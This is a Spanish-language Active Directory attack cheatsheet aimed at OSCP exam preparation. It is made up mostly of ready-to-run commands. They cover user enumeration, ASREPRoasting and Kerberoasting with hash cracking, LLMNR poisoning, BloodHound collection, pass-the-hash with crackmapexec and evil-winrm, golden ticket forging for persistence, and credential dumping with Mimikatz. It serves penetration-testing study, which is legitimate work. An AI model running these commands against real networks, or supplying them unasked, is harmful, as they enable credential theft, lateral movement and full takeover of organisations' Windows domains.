Salta el contingut

Active Directory Cheatsheet (OSCP Edition)

0. Mental Model

En AD, no buscas "una falla" en un software, buscas malas configuraciones y abuso de privilegios. Ciclo: Enum Users -> Get User Shell -> Enum Domain -> Escalate (Admin/SYSTEM) -> Pivot to DC -> Dump Hashes.

1. Initial Enumeration (Sin Credenciales)

Si tienes acceso a la red pero no usuario:

# Identificar DC y Hostname
nslookup <IP_DC>
nmap -p 53,88,139,445,389 <Target_IP>

# Anonymous LDAP (Raro pero intenta)
ldapsearch -x -H ldap://<IP> -b "dc=htb,dc=local"

# Enumerar Usuarios (ASREPRoasting possibility)
kerbrute userenum -d <domain> users.txt --dc <IP>

2. Exploitation (Sin Credenciales / Low Privilege)

ASREPRoasting (No Auth Required)

Si un usuario tiene "Do not require Kerberos preauthentication":

# Impacket (Desde Kali)
GetNPUsers.py <domain>/ -usersfile users.txt -format hashcat -outputfile hashes.asreproast
# Crackear
hashcat -m 18200 hashes.asreproast rockyou.txt

LLMNR Poisoning (Man-in-the-Middle)

Si estás en la misma subred (Pivot o acceso directo):

responder -I tun0 -rdw
# Espera a que capture un hash NTLMV2

3. Post-Compromise Enumeration (Con Usuario)

¡Tienes una credencial! Ahora mapea la red.

BloodHound (El Rey)

Desde la víctima (usando SharpHound ingestor):

.\SharpHound.exe -c All --zipfilename loot.zip
Descarga el zip, súbelo a tu BloodHound en Kali y busca: - "Find Shortest Paths to Domain Admins" - "Kerberoastable Users"

PowerView (Manual)

Import-Module .\PowerView.ps1
Get-DomainUser -SPN  # Busca Kerberoastable
Get-DomainComputer   # Lista máquinas
Get-DomainGroupMember -Identity "Domain Admins"

4. Privilege Escalation & Lateral Movement

Kerberoasting (Service Accounts)

Usuario válido requerido.

# Impacket
GetUserSPNs.py <domain>/<user>:<pass> -request
# Crackear
hashcat -m 13100 hashes.kerberos rockyou.txt

Pass-The-Hash (PtH)

Si tienes hash NTLM (no la pass):

crackmapexec smb <IP> -u Administrator -H <HASH>
evil-winrm -i <IP> -u Administrator -H <HASH>

5. Persistence (Golden/Silver Tickets)

Si comprometes el DC y dumpeas krbtgt:

# Golden Ticket (Acceso total por 10 años)
ticketer.py -nthash <KRBTGT_HASH> -domain-sid <SID> -domain <DOMAIN> administrator
export KRB5CCNAME=administrator.ccache
psexec.py <domain>/administrator@<DC_HOSTNAME> -k -no-pass

6. Herramientas Vitales

  • Impacket: La navaja suiza (Python).
  • Mimikatz: Dumpear credenciales de memoria (sekurlsa::logonpasswords).
  • Chisel / Ligolo: Para traer tu Kali a la red interna (Pivot).
  • CrackMapExec (o NetExec): Automatizar ataques a toda la red.